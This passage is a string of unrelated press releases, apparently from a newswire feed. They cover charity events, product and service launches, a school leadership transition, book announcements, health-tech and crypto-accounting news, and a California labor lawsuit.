an easy, financially OPEX-based solution for expanding existing data centers, building new ones, or converting low-tech buildings into high-tech data centers. SOLOdc stands out in being able to combine, even in the same data room, IT equipment with different hosting requirements - be it 'classical' air cooling, high power computing (HPC) liquid cooling, or needing an open computer project (OCP) rack and power facilities. SOLOdc is heat re-use ready by design. SOLOdc All-In-One Modular Datacenter on Vimeo: https://vimeo.com/564229228 WCooliT: https://wcoolit.com/ GreenergyTec: https://greenergytec.ca/ LAPD Deputy Chief Al Labrada If MotorGospel Ministries anti-street-racing program has saved any lives, we have YOU to thank for it. MotorGospel Ministries is pleased to announce the Christmas release of their latest anti-street-racing documentary short. The 7-minute short premiered to a standing-room-only crowd at the Los Angeles Police Museum amid festivities and dignitaries celebrating 20 years of driving fast and saving lives with 5-time champion and ordained minister Aaron Schwartzbart. Schwartzbart left the space program after 28 years as a rocket scientist to assist the LAPD with community issues such as gangs, drugs and illegal street racing. Together with filmmaker Neil Newman, Schwartzbart has produced greater than 20 documentary shorts since 2006, netting the duo countless laurels and reaching millions worldwide with the anti-street-racing message. In their latest release, Fully Caged, Neil and his team at Shoot Cut Deliver have raised the bar yet again, featuring LAPD Deputy Chief Al Labrada in his drag racing debut behind the wheel of MotorGospel Ministries fully-caged police pursuit vehicle. The aptly-named Cadet Race Team car is provided by MotorGospel Ministries for anti-street-racing outreach events at racetracks throughout California at neither cost to the taxpayers nor the LAPD. The all-star crew for Labradas debut consisted of Cadets that were trained at LAPD Rampart Station by Schwartzbart and a cadre of guest instructors from MotorGospel Ministries After School Auto Shop Club under the supervision of Youth Service Officers (YSOs) Larry Covington and Regenia Andrews. The importance of the relationship between the YSOs and the Cadets cannot be overstated; for some of the youth, the YSOs are their sole source of both affirmation and discipline. It is not surprising that Cadets are often the first members of their families to attend college. Schwartzbart is quick to credit hundreds of others for the impact that he has had on the community and MotorGospel Ministries 20th Anniversary Celebration was a reflection of that. The list of guest speakers was a veritable whos who of vocal community advocates including Los Angeles City Councilmember John Lee, La Mirada Councilmember and Mayor Emeritus John Lewis, LAPD Deputy Chief Al Labrada, LAPD Rampart Captain Al Lopez, LAPD Sergeant and Officer-in-Charge of the Street Racing Task Force Jesse Garcia, Pastor and Thousand Oaks Mayor Emeritus Rob McCoy and Film and Television Star Rodney Allen Rippy. In Aarons words to literally hundreds of folks, If MotorGospel Ministries anti-street-racing program has saved any lives, we have YOU to thank for it. For more information on how you too can help save lives, contact Tere Schwartzbart at 818.620.7132 or motorgospel@gmail.com. Homelessness is not a choice, but a circumstance. Home for the Holidays was started in 2018 in memory of one of the owners of Price Busters Furniture, Steve Schuman, whose "firm belief in life was to give to others", so Price Busters has continued this tradition in his merit. After a selection process through various non-profit organizations in and around Baltimore, Price Busters has chosen select families who may benefit from the stress, hardship, and costs of trying to provide for their families. Our first family, Tyria B. and her two children, both excellent students, were highly recommended as recipients from their case manager, Shawnia C., at St. Vincent De Paul of Baltimore, through the Sarahs Hope division of their program. The global pandemic has been a difficult circumstance to overcome, but for Ms. Ben and her children, the tough times were almost too much. As a mother of two excelling children, Ms. Ben did exactly what she needed to do, and that was provide for her children, even if they meant seeking outside help. As a family, they went to Sarahs Hope shelter on New Years Day 2019. This being after spending the past 16 years in unstable environments, she decided things needed to change for the better. As time went by, Tyira and her teenagers fulfilled one of their dreams of having their own place to call home, and moved into an apartment together. For the first in their lives, they had a home, stability, and a safe place to grow as one unit. Over two years have passed, and this wonderful family has been able to maintain their personal space and mutual love for each other, while still tackling lifes daily bumps along the way. Ms. Ben has been able to work part-time and meet her familys needs with minimal outside support, a true giver to her children and an understanding of the adversities she has gone through to get to this point. Price Busters is thrilled to be able to help Ms. Ben and her children continue to make their home even homier with an entire house of new furniture at no cost, because no one should have to go through the holiday season not being comfortable in their own home. Homelessness is not a choice, but a circumstance. Price Busters Furniture Baltimore, MD pricebusters.com Users want the ability to send and receive payments instantly and with low fees. Integrating the Lightning Network into the CardCoins service supports this consumer demand and the wider philosophical understanding that Bitcoin scales in layers. Across the United States, CardCoins offers underbanked and cash preferred users the ability to quickly and conveniently buy Bitcoin with cash at nearly 80,000 retailers. Today CardCoins has released support for the Lightning Network with a quick trip to a supporting retailer, now anyone can top up their Lightning Network wallets via cash within minutes. A CardCoins spokesperson commented, "the Lightning Network is an integral part of Bitcoin's future. Users want the ability to send and receive payments instantly and with low fees. Integrating the Lightning Network into the CardCoins service supports this consumer demand and the wider philosophical understanding that Bitcoin scales in layers." The spokesperson added, "CardCoins has helped tens of thousands of people access the Bitcoin network. The most common concerns raised by users are the speed and cost of their transactions. The Lightning Network is a natural solution, and brings with it a great deal of exciting use cases to the Bitcoin ecosystem. Micropayments, subscription services and other activities which were previously priced out are now within reach. At CardCoins we are excited to be a part of this movement." The new integration comes after months of R&D by the CardCoins team. Not only is Lightning supported through the CardCoins website, but also through its public API. Wallet and exchange developers can utilize the CardCoins API in their applications to offer their underbanked and cash preferred demographics a means to top up their accounts. To receive Bitcoin over the Lightning Network at CardCoins, users follow these simple steps: Explore the CardCoins map and find a supporting retailer Visit the retailer to purchase a Visa, MasterCard or American Express branded non-reloadable gift card Submit their lightning invoice and card details on the CardCoins website Receive Bitcoin! To learn more, please visit https://cardcoins.co/ and follow us on Twitter, @CardCoinsCo Hesser Toyota Welcomes the 2022 Toyota 4Runner Hesser Toyota, an automotive dealership in Janesville, Wisconsin, has added the 2022 Toyota 4Runner to its inventory. Toyota enthusiasts looking to buy a new vehicle can visit the dealership as many options are available in its inventory. The 2022 Toyota 4Runner has many impressive features. It is available in SR5, SR5 Premium, Trail Special Edition, TRD Off-Road, TRD Off-Road Premium, and TRD Pro trim levels. Inside the 2022 Toyota 4Runner cabin are premium-quality seats with power adjustability standard in the front seats. The upper trims have heating and ventilation features. The vehicle's cargo capacity ranges between 47.4 cubic feet to 89.7 cubic feet. The base of the 2022 Toyota 4Runner trim comes standard with an 8-inch touchscreen and 8-speaker Audio. The SUV offers many advantages in terms of connectivity. The 2022 Toyota 4Runner is equipped with a 4.0L V6 engine with 270 horsepower and 278 pound-feet of torque. It has a roomy interior and is also loaded with good safety features. Those who want to learn more about this vehicle can visit the Hesser Toyota website. Interested customers can view the model research and comparison pages to get more information about the latest Toyota vehicles. Interested buyers who want to schedule a test drive of the 2022 Toyota 4Runner, are encouraged to schedule an appointment on the website or call (608) 754-7754. Hesser Toyota showroom is located at 1811 Humes Rd., Janesville, Wisconsin, 53545. One of Advance Relocation Systems climate-controlled trailers outside the Art Basel Miami Beach venue. With that many truckloads of artwork, its very critical that everything goes off without any hiccups. The inbound went especially smooth this year and several clients mentioned how it was a very pleasant surprise how smooth everything went. David Hillemann, VP of Sales and Marketing at ARS. Baltimore-based, moving company, Advance Relocation Systems recently wrapped up another successful project with Art Basel Miami Beach. Art Basel Miami Beach is North Americas largest and most comprehensive international contemporary art fair, with over 250 galleries from 36 countries showcasing works by 4,000 artists. This prestigious art fair first came to Miami Beach in 2002, which is also the first year of Advance Relocation Systems partnership with them. After an unprecedented hiatus in 2020 due to the pandemic, Art Basel Miami Beach returned in 2021, and Advance Relocation Systems was there to answer their transportation needs. David Hillemann, Vice President of Sales and Marketing at Advance Relocation Systems, is the pioneer for this historic relationship. Back in 2002, when Art Basel decided to head to the Miami Beach Convention Center for the first time, one of Davids colleagues hired him to provide six trucks. Already a well-established provider of transportation and logistics support for fine art and exhibits for museums and trade shows, Advance Relocation Systems answered the call. The success of that partnership built the foundation for them to be chosen in subsequent years to provide climate-controlled trailers and operators for the show. In 2021, Advance Relocation Systems was tasked with coordinating the pickup of pieces from 11 different locations, transporting them to the Miami Beach Convention Center and then delivering them to their respective origins after the fair. Art Basel has official art handlers that are individually trained to work directly with fine art objects in art galleries, museums, etc. The 2021 edition of Art Basel Miami Beach had four official art handlers. Advance Relocation Systems worked directly with three of those four handlers to provide 41 climate-controlled trailers to transport the pieces for the show. The origins for the 2021 fair were Washington, Oregon, California, Texas, Illinois, New Jersey, Delaware and New York. The process started the Saturday after Thanksgiving with the pickup and inbound delivery of the pieces to the Miami Convention Center. The outbound occurred on December 6th and 7th, just after the fair ended. With the Covid-19 pandemic still a major concern, there were a few aspects of the process that differed from previous years. Everybody in the convention center that was working in the inbound had to be tested for COVID-19. That test lasted for 72 hours, after 72 hours you'd have to get tested again. You kept getting a different color wristband every day to show that you'd been tested again. The thing that was difficult is that you're physically unloading these trucks and still required to wear these facemasks. Its difficult doing hard physical labor and having to wear the facemask so that was another challenge that we had to deal with. David Hillemann, VP of Sales and Marketing at Advance Relocation Systems Advance Relocation Systems is a trusted and experienced mover for fine art shipping. Whether its a personal art collection or a multimillion-dollar museum fleet, they are perfectly equipped to transport sensitive and delicate artifacts safely and carefully. Advance Relocation Systems boasts: Specialized vehicles: Climate-controlled trucks that limit humidity, and exposure to UV light throughout the shipping cycle. High-cube trailers with enlarged capacity and access Trailers with lift gates and oversized doors. National and International partnerships, including the Atlas network, to provide coordinated climate-controlled fine art storage anywhere in the United States and Canada. Facilities that are secure and protected from fire, smoke, and unauthorized access. Over 80 years in business, specializing in the transport of high-value, sensitive, and unique items. To learn more about Advance Relocation Systems and their moving and logistics capabilities, visit https://www.advancerelo.com/. My entire team just wanted to do something to help, said City Electric Supply Gainesville Branch Manager Jerry Gordon. I know Christmas isnt about having stuff, but I cant imagine these kids waking up that morning and not getting anything. Jerry Gordon, Branch Manager for the electrical wholesale distributor, City Electric Supply (CES), gets in the holiday spirit every year with his family by sponsoring a child in need of Christmas presents. Another one of his favorite hobbies is taking a few of his special vehicles to car shows throughout the year. When he combined both of his passions, something great happened: through a car show, the CES Gainesville branch raised $5,702 for White County Family Connection, donating toys for over 150 families in need this Christmas season in just several hours. I have four cars that I show all the time and help raise money for various groups, said Jerry. We adopted a family one Christmas, and I thought, What if we could take this to another level with a car show? Then we could help a bunch of families, not just one. Jerry got the idea to use his cars for a showcase and raise money for the White County Family Connection Christmas program partnered with the local school system. The organization helps deliver toys to children and families in need during the Christmas season. We want to send a massive thank you to City Electric Supply for their help this year, said White County Family Connection Coordinator Cheyenne Brunet. They filled over eight tables with presents- you couldnt see from one side of the room to the other! We cant wait to continue this partnership with the Gainesville branch. My entire team just wanted to do something to help, said Jerry. I know Christmas isnt about having stuff, but I cant imagine these kids waking up that morning and not getting anything. Everyone at the branch had all hands-on deck, working hard to make the car show the best it could be. Jerry himself hand-made all 35 trophies for the various categories the cars could win. Businesses beside the CES branch were lending their parking lot space for the event. Soon, the branch had over 92 cars in the parking lot, coming from Georgia, South Carolina, Tennessee, and even from Texas. Members of the CES Gainesville team were able to put their hobbies to use to help the cause as well. Our Salesman Jimmy Harris did all of the BBQ for us, said Jerry. He does a lot of BBQ competitions, so no one was surprised at how good the food was. Vendors were showing their support as well, donating products to the branch so every person who came out to the event could leave with something. Gift bags were available to everyone, and included CES hats, cups, and shirts. Working at CES for 21 years, Jerry has seen a lot happen in his time with the company. With so many memorable events happening throughout the day; seeing the community come together to donate materials and time is what touched the CES team more than donations. We had people sitting around in the grass, just talking, laughing, and having a good time, said Jerry. Watching people come together, getting to know one another, thats the stuff that warms my heart. When getting the word out to the community at the event, one long-time customer of the Gainesville branch decided to donate $2,000 alone. Im sure I had a dumbfounded look on my face, Jerry laughed. While most people will tell you the event is all about the spirit of giving, for Jerry, it also has a personal meaning. Going through a heart transplant in March, having his CES family support him every step of the way meant the world. Hes been committed to giving back to his community since. Ive been with CES for a long time. When I had my heart transplant back in March, everyone got behind me 100 percent and showed their support, said Jerry. If everyone can get behind me during a tough time, I figured, there has to be something that Im able to do that helps out others. With this years car show being such a success, CES Gainesville cant wait to plan the next one. About City Electric Supply (CES) is a family-owned electrical wholesale distributor headquartered in Dallas, Texas. The company was founded in 1951 by Tom Mackie in the United Kingdom and expanded to the United States in 1983. Today, CES employs more than 3,000 people in over 500 branches across the U.S. CES is dedicated to providing personalized service and support for customers in the residential, commercial, and industrial marketplace. While CES is a large company, it prides itself in keeping its founding principle of empowering people to make local business decisions by providing customers tailored services for all their electric supply needs. ### Media Contact: Emily Davis Public Relations Specialist City Electric Supply Emily.Davis@cityelectricsupply.com Jill Muti, Head of School at Ashley Hall Jill Muti has made an indelible impact on Ashley Halls stature and reputation for building self-reliant, independent thinking, and confident young women at every stage of their development. Anne Frances Bleecker, Chair of the Ashley Hall Board of Trustees Ashley Hall announced today that Jill Muti, the Head of School, will leave her position on June 30, 2022. The Ashley Hall Board of Trustees will launch a national search for new leadership to build upon Mutis nearly two decades of accomplishments that have ensured the 112-year institutions place as a preeminent school for girls in the region and the nation. It is expected that a new Head of School will assume the role on July 1, 2023. Jill Muti has made an indelible impact on Ashley Halls stature and reputation for building self-reliant, independent thinking, and confident young women at every stage of their development. Today we enjoy record-high enrollment, deep community relationships, and an outstanding and loyal faculty and parent community whose devotion to our children is matchless. Jill will be forever part of Ashley Hall and we wish her all the best, said Anne Frances Bleecker, Chair of the Ashley Hall Board of Trustees. Muti, who has accepted the position of Head of School at the prestigious St. Stephens School, an American day and boarding International Baccalaureate World School located in Rome, Italy, said, It has been an honor to serve the Ashley Hall community for 18 years. Together with our Board, faculty, alumnae, and students, we have created an authentic learning environment that honors Ashley Halls enduring mission and hallmarks. The important work of preparing girls to meet the challenges of the 21st century with confidence has driven all that we have accomplished at Ashley Hall. I embark on the next phase of my career filled with gratitude. Among Mutis signature achievements at Ashley Hall are: Engineering the Ashley Hall Learning Spiral, a comprehensive curricular approach to education that features an intentional pattern of incremental learning from pre-primary students to seniors that serves the intellectual, emotional, and physical needs of each student in every phase of development. Reimagining the schools faculty professional development program to create an institution of continuous intellectual pursuit and academic growth, benefiting faculty and students alike. Establishing a school-wide focus on whole-child development, with a comprehensive health and wellness program and specialized learning environments for early adolescents: the Intermediate Program for 5th and 6th graders and the Nautilus Program for 7th and 8th graders. Implementing a Global Studies Program that focuses on foreign language immersion and acquisition and international travel opportunities. Fostering a student leadership program emphasizing responsibility and real-world experiences, including a Junior Internship experience and a Senior Projects initiative linked to community action. Leading the renovation and expansion of Ashley Halls 10-acre urban campus including the preservation of two historic properties transformed into 21st century learning environments. Creating community partnerships with Charleston area non-profits such as the Medical University of South Carolina, Gibbes Museum, and Horizons, South Carolinas first tuition-free summer educational and enrichment program to advance educational equity. Championing a diversity, equity, inclusion, and belonging commitment essential to achieving educational and academic excellence. Dr. Anne Thornhill Weston 73, currently Assistant Head of School and Director of Upper School, will serve as Interim Head of School. A seasoned administrator and alumna, she will lend her experience and knowledge of the school to guiding the community through a smooth and successful transition. Dr. Weston joined Ashley Hall in July 2015 after a succession of leadership roles at Heathwood Hall Episcopal School in Columbia, SC, including as teacher, Intermediate School and Upper School Principal, Assistant Head, Director of Advancement and Alumni Engagement, Provost and Interim Head of School. With a Bachelors Degree from Duke University and a Master of Arts in Teaching with a concentration in Biology and a Doctorate in Health Promotion and Education both from the University of South Carolina, she has worked together with her colleagues on important curricular improvements and the strengthening of vital wellness programs in Ashley Halls Upper School, while celebrating with them an expanding record of student scholarship and college placements. Today, generations of distinguished Ashley Hall alumnae are making their mark on the world. The next six months will be a time of celebrating the innumerable ways Jill Muti has enriched our community, and looking forward to the next era of this extraordinary school that will fuel the pipeline of leaders for years to come, Bleecker said. About Ashley Hall Ashley Hall, a premier independent school in the Southeast for girls, is dedicated to deep learning, healthy development, high achievement, and community impact. With its proven foundation in classical educationenriched by inquiry-based, experiential learningAshley Hall provides a unique environment in which girls become self-reliant, independent thinkers at each stage of their development. Founded 112 years ago as a groundbreaking college preparatory school for women, Ashley Hall is at the forefront of girls education and leadership, with local and global expansion, proven curriculum, and meaningful community connections. Against the backdrop of womens growing voices, Ashley Hall today is demonstrating that its enduring brand of girls education is more relevant than ever. http://www.ashleyhall.org Christian Morgan has completed his new book Pauls Journey: a thought-provoking examination of the message of Jesus as revealed by the Apostle Paul after his conversion to Christianity. Paul follows his introduction with a greeting to the Roman church and expresses his desire to preach in Rome someday. Paul gives a summary of the theme of his letter: The Gospelis the power of God for salvation to everyone who has faith, to the Jew first and also to the Greek. The Jewish Christians found they were not the minority within a Gentile church. Paul therefore wrote Romans to encourage the Gentiles to live in harmony with Jewish Christians. Unlike Galatia, it is possible that the only Gentile converts in Rome were God-fearing Gentiles and quite happy with most Jewish practices. These Gentiles were happy and comfortable with living under the Jewish culture and lifestyle. Converting to Christianity means that you are turning away from evil and more toward the good of this world. The just shall live by faith according to Galatians 3:11 and Romans 1:17. The emphasis Martin Luther placed on the Gospel truth in the sixteenth century resulted in the Protestant Reformation. This doctrine of justification by faith brought new life into the Church and became one of the central teachings of the evangelical churches. An understanding of this concept will result in a deeper appreciation of the grace of God, as it comes to us through our Lord and Savior Jesus Christ. Added note of today: Our young people is how we will live and grow up our future generations. Preachers, lets preach the word today. Every life, all livesBlack, Brown, White, Yellow livesmatter. Faith is our guide. Published by Page Publishing, Christian Morgans engrossing book is an excellent choice for avid students of Christianity and the Bible. Readers who wish to experience this engaging work can purchase Pauls Journey at bookstores everywhere, or online at the Apple iTunes Store, Amazon, Google Play, or Barnes and Noble. For additional information or media inquiries, contact Page Publishing at 866-315-2708. About Page Publishing: Page Publishing is a traditional, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing understands that authors should be free to create, not mired in logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and so on. Pages accomplished writers and publishing professionals allow authors to leave behind these complex and time-consuming issues and focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com. David E. Schauble, a beloved father, has completed his new book Runaway Time: a gripping and captivating story following Lisa as she moves away from home and encounters people and events that will change her life forever. As Schauble writes, Just graduating from an upscale small high school, Lisa looks forward to taking flight from home and starting a new life of independence. She has grown up in an affluent and sheltered environment spending her formative years raised by close and loving parents. Her father, whom she has idolized, tried to pass on to her the lessons of life, people and the world. But after his tragic death years earlier, Lisa has closed off and built walls stagnating that development. Now she is about to learn big and real lessons from life. Published by Page Publishing, David E. Schaubles engrossing tale follows Lisa as her travels take her through unexpected events that alter her life forever. Each unexpected twist leaves her with a new lesson on the stark realities of life and reminds readers that people are not often who they appear to be, Life may be dramatically and unexpectedly different than one previous thought. Readers who wish to experience this potent work can purchase Runaway Time at bookstores everywhere, or online at the Apple iTunes Store, Amazon, Google Play, or Barnes and Noble. For additional information or media inquiries, contact Page Publishing at 866-315-2708. About Page Publishing: Page Publishing is a traditional, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create, not mired in logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and so on. Pages accomplished writers and publishing professionals allow authors to leave behind these complex and time-consuming issues and focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com. Ron Cliff has completed his new book The Rainy Day: a heartwarming childrens story that follows Martin and Ella, two birds in New York City. One day, as the best friends are playing together, it begins to rain. It rains so hard that they cannot see or find their way home. Martin and Ella enter the New York City subway system to get out of the rain. This begins their journey of riding the subway train to many different locations and doing various activities on a rainy day in the city of New York. Author Ron Cliff describes what the birds encounter when they enter the subway, writing, On the train, some people were standing, and some were sitting. Others were reading. Some listened to music. Some were talking to one another, and others just enjoyed the ride. Published by Page Publishing, Ron Cliffs engaging tale follows the birds on their eventful day out in the rain. The birds do all sorts of fun activities, including stopping at the Museum of Modern Art, going to Radio City Music Hall, and visiting the Statue of Liberty. Readers who wish to experience this delightful work can purchase The Rainy Day at bookstores everywhere, or online at the Apple iTunes Store, Amazon, Google Play, or Barnes and Noble. For additional information or media inquiries, contact Page Publishing at 866-315-2708. About Page Publishing: Page Publishing is a traditional, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create, not mired in logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and so on. Pages accomplished writers and publishing professionals allow authors to leave behind these complex and time-consuming issues and focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com. Valerie Webster, a poet with a lifelong passion for words, has completed her new book Just between Friends: a poetic tribute to the many blessings of friendship. Bryce Canyon (A postcard to my friends) What can I say! It envelopes you. All your senses are electrified! The wind, the beauty, your eyes are bewildered by its vast beauty. Capturing it all as the wind echoes from the highest peak. It speaks to your soul! Ebenezer Bryce donated his land to the state of Utah. It was designated as a national park in 1928. Just a simple rancher! But with the forethought of generations to come. If I ever imagined Gods masterpiece, it would be Bryce Canyon! Helluva place to lose a cow! Ebenezer Bryce Published by Page Publishing, Valerie Websters engrossing book is an inspiring choice for avid poetry readers. Readers who wish to experience this engaging work can purchaseJust between Friends at bookstores everywhere, or online at the Apple iTunes Store, Amazon, Google Play, or Barnes and Noble. For additional information or media inquiries, contact Page Publishing at 866-315-2708. About Page Publishing: Page Publishing is a traditional, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing understands that authors should be free to create, not mired in logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and so on. Pages accomplished writers and publishing professionals allow authors to leave behind these complex and time-consuming issues and focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com. The Babyscripts digital ecosystem will allow Health New England to further support expectant members by connecting them to the tools and resources they need to help foster healthy pregnancies and healthy babies. Babyscripts, the leading virtual care platform for managing obstetrics, announced today that they have entered into a strategic partnership with Health New England, a not-for-profit health plan serving members in Massachusetts and parts of Connecticut, to deliver pregnancy care solutions to all members regardless of socioeconomic status. Through Babyscripts unique joint deployment model, Health New Englands pregnant members will have access to the Babyscripts Virtual Maternity Care application. These members will get timely information about their pregnancy journey, and they will be able to connect with their providers via the Babyscripts app. Currently, several Baystate Health obstetrics providers are participating in Babyscripts and are communicating directly with their patients through the app. Health New England plans to bring additional in-network providers on board with Babyscripts in the future. This unique partnership helps to improve the coordination of care between the health plan and doctors for the benefit of the patient. It focuses on delivering a new hybrid model of maternity care, fueled by Babyscripts, that allows all patients to receive gestational age-specific pregnancy information and virtual care through a unique collaboration between the health plan, health system, and innovator. For participating obstetricians who opt into Babyscripts, their patients can also get the benefits of remote monitoring. In addition to strengthening the relationship between health plan and provider, Babyscripts enables health plans to identify which of their members are pregnant so they can address clinical and social risks earlier by educating pregnant members, encouraging them to attend doctor visits, and improving care coordination. Through a digital education layer, remote monitoring experiences, and population health reporting, Babyscripts has been shown to reduce health care costs through better compliance with prenatal and postpartum care and earlier identification and intervention of complications related to blood pressure, while improving outcomes for health plan members. Babyscripts joint deployment model is the first to involve the health plan in a point-of-care solution, and we think it is the future path of digital health technology, said Juan Pablo Segura, President and Co-Founder of Babyscripts. As a digital bridge between member, health plan, and provider, Babyscripts helps health plans better coordinate care, keeps members engaged through a connection to the provider, and targets health inequity by reducing the cost of the tool to health systems. The collaboration with Health New England is going to enable us to scale the successful patient impact weve already seen with our physician partners at Baystate Health. We are very excited to collaborate with Babyscripts, said Richard Swift, President and CEO of Health New England. Digital tools have proven to help our members manage their health, especially for those facing social and economic barriers to care. The Babyscripts digital ecosystem will allow Health New England to further support expectant members by connecting them to the tools and resources they need to help foster healthy pregnancies and healthy babies. Babyscripts has spent the last seven years building the markets most extensive clinically validated virtual care platform allowing OBGYNs to deliver a new model of prenatal and postpartum care. Via a mobile app and internet-connected devices for remote monitoring, Babyscripts offers digital education and risk-specific experiences to allow providers to manage up to 90% of pregnancies virtually, allowing doctors to detect risk more quickly and automate elements of care. About Babyscripts Babyscripts is delivering a new model for prenatal and postpartum care that is transforming the way expectant mothers use technology to work with their healthcare providers. Weve spent the last seven years delivering the most-implemented mobile clinical solution for remote monitoring in pregnancy, with the mission to eliminate maternal mortality and improve access to care for all mothers. For more information on our virtual care solution and to request a demo, visit babyscripts.com. About Health New England Based in Springfield, Massachusetts, Health New England is a not-for-profit health plan serving members in Massachusetts and Connecticut. A wholly owned subsidiary of Baystate Health, Health New England offers a range of health care plans in the commercial, Medicaid and Medicare markets. For more information, visit healthnewengland.org. Big Blue Swim School one of the fastest-growing new brands in franchising that is well positioned to emerge as the leader of the booming $3 billion learn-to-swim segment has announced the promotion of Brooke Mallick to chief marketing officer. Mallick previously served as the brands vice president of marketing. Prior to beginning her role at Big Blue Swim School in 2019, Mallick spent over six years at PepsiCo. There, she worked on a variety of marketing campaigns for Gatorade and Quaker Oats. For the past three years, Mallick has played an essential role in Big Blues ambitious growth strategy, which has seen the brand grow to 10 open locations, with 161 units sold to date. As we look ahead to opening more locations, Big Blue wont just be teaching a vital safety skill to children across the U.S., but truly helping kids build their confidence and self-esteem, Mallick said. Big Blue gives children and families a sense of security around water, and builds useful lifelong skills. Mallick further emphasized that Big Blue is continuing to build a thoughtful, integrated marketing program that brings awareness to the childrens retail-based learn-to-swim program and the benefits of structured, year-round swim lessons. At Big Blue we are constantly thinking about how to offer the best customer service to the busy parents and families we target, Mallick said. That begins by making it easy to gather information to find the best swim program for your child, carries through with a frictionless registration experience, and culminates in a program that lives up to our brand promise by delivering measurable progress in and out of the pool for our swimmers. Big Blue appeals to savvy franchise entrepreneurs for a number of reasons, but its proven marketing program is particularly noteworthy, as it sets partners up for success before they even open their locations doors. The brands corporate team implements a comprehensive local marketing campaign long before a school opens, and their support continues in perpetuity. Big Blue acknowledges that marketing is much more than simply picking the right colors for the logo, Big Blue president and founder Chris DeJong said. It is essential to have an analytically inclined marketing team that manages SEO optimization, social media, organic lead generation, and the internal validation journey. Successful marketing reaches potential customers with the right message at the right time. And when you do what you promise, which for us is providing the best swim school experience possible, you then turn active customers into brand enthusiasts. Big Blues corporate team, including Mallick, has a wealth of marketing expertise and decades of experience in franchising. That experience has allowed the brand to implement a data-driven method to local marketing for each pool, which in turn helps franchise partners become more successful than those at other brands. There are many data sources we can use to triangulate information about how our paid media and email campaigns are performing and what we can do to drive more efficient and effective campaigns, Mallick said. But the most important tool we have at our disposal is our massive database of historical customer information from our proprietary enterprise system, LessonBuddy. With that data, we better understand and leverage knowledge of past customer behavior to drive future results in a way that separates us from the competition. As Big Blues marketing efforts evolve, the team continues to analyze past efforts and trends to help drive new campaigns. Our goal is to not only build out our performance marketing, driving for an additional sale or conversion, but also to strengthen our mindshare to become the most loved brand in the industry, Mallick said. ABOUT BIG BLUE SWIM SCHOOL Big Blue Swim School was founded in 2009 by competitive swimmer Chris DeJong. The first location opened in Wilmette, Illinois, followed by four additional Chicagoland schools. In 2017, Level 5 Capital Partners acquired a stake in the brand, and pools are now open in Chicago, Atlanta, Denver and Northern Virginia. Big Blue is currently growing through franchising with plans to have a minimum of 170 pools sold by the end of 2021. Big Blue Swim School's real estate expertise, strong brand, proprietary technology, and leadership support, coupled with its best-in-class consumer offerings, position its franchise partners for long-term success. To learn more about franchise opportunities with Big Blue Swim School, visit http://YourBigMomentStartsHere.com. Large enterprise clients need reliable, scalable data sources like Bitwave to confidently diversify their balance sheet and unlock the potential of the DeFi movement. Bitwave, the leading provider of digital asset tax and accounting software for enterprises, announced today that it is a recognized recipient of the Service Organization Control 1 (SOC 1) Type I report and a Service Organization Control 2 (SOC 2) Type I report. By meeting the AICPAs stringent SOC certification requirements, Bitwave demonstrates its commitment to protecting business organizations data and ensuring compliance. The SOC reports validate Bitwave as a trusted source of financial data for public auditors, and streamline the public audit process for publicly traded enterprise customers. The companys internal controls, such as new hire and employee compliance, change management policies, logical platform access, and computer operations and monitoring, were tested in accordance with attestation standards established by the American Institute of Certified Public Accountants. Having access to a SOC certified software removes red tape for CFOs and mitigates audit risk in a rapidly evolving regulatory landscape. The reports, issued by Aprio, with the SOC gap assessments and readiness provided by Deloitte, help clear a pathway for enterprises looking to adopt digital assets. Large enterprise clients need reliable, scalable data sources like Bitwave to confidently diversify their balance sheet and unlock the potential of the DeFi movement, said Pat White, co-founder and CEO of Bitwave. The SOC certification validates our internal processes and controls to give our customers and partners peace of mind that our technology meets the highest quality standards in the industry. Since launching in 2018, Bitwave has emerged as an industry leader in all things digital assets, working with numerous public and Fortune 500 customers. Earlier this year, the firm announced that it had developed the industrys first Digital Asset Maturity Model a business roadmap designed to help enterprises assess their cryptocurrency adeptness, streamline adoption of these new assets, and unlock business value in a four-step framework for action. White commented, We pride ourselves on operating with transparency and this recognition showcases Bitwaves mission to deliver a secure experience worthy of our customers trust. For more information on Bitwave, visit bitwave.io. About Bitwave Bitwave is a provider of tax and accounting software that is used to track investments in cryptocurrency. The platform is used by C-Suite financial executives who are eager to invest in cryptocurrency but have lacked the proper accounting protocols to do so in the past. By creating the opportunity to make these investments, Bitwave is playing a key role in the Decentralized Finance (DeFi) movement and removing the friction that has traditionally plagued financial services. The firm was founded in 2018 by technology entrepreneurs Pat White and Amy Kalnoki and is based in San Francisco, CA. Law Office of Blumenthal Nordrehaug Bhowmik De Blouw LLP The San Francisco employment law attorneys, at Blumenthal Nordrehaug Bhowmik De Blouw LLP, filed a lawsuit against Premier Automotive of Seaside, LLC alleging the company violated Labor Code 2699, et seq. seeking penalties for DEFENDANTs alleged violation of California Labor Code 201, 202, 203, 204, 210, 221, 226(a), 226.7, 227.3, 351, 510, 512, 558(a)(1)(2), 1194, 1197, 1197.1, 1198, and 2802. The lawsuit against Premier Automotive of Seaside, LLC is currently pending in the Monterey County Superior Court, Case No. 21CV003719. To read a copy of the Complaint, please click here. According to the lawsuit filed, Premier Automotive of Seaside, LLC allegedly failed to fully relieve Plaintiff and other Aggrieved Employees for their legally required thirty (30) minute meals breaks. Employees were also allegedly required, from time to time, to work in excess of four (4) hours without being provided the legally required ten (10) minute rest periods. The California Supreme Court defines off-duty rest periods as time during which an employee is relieved from all work related duties and free from employer control. PAGA is a mechanism by which the State of California itself can enforce state labor laws through the employee suing under the PAGA who do so as the proxy or agent of the state's labor law enforcement agencies. An action to recover civil penalties under PAGA is fundamentally a law enforcement action designed to protect the public and not to benefit private parties. The purpose of PAGA is not to 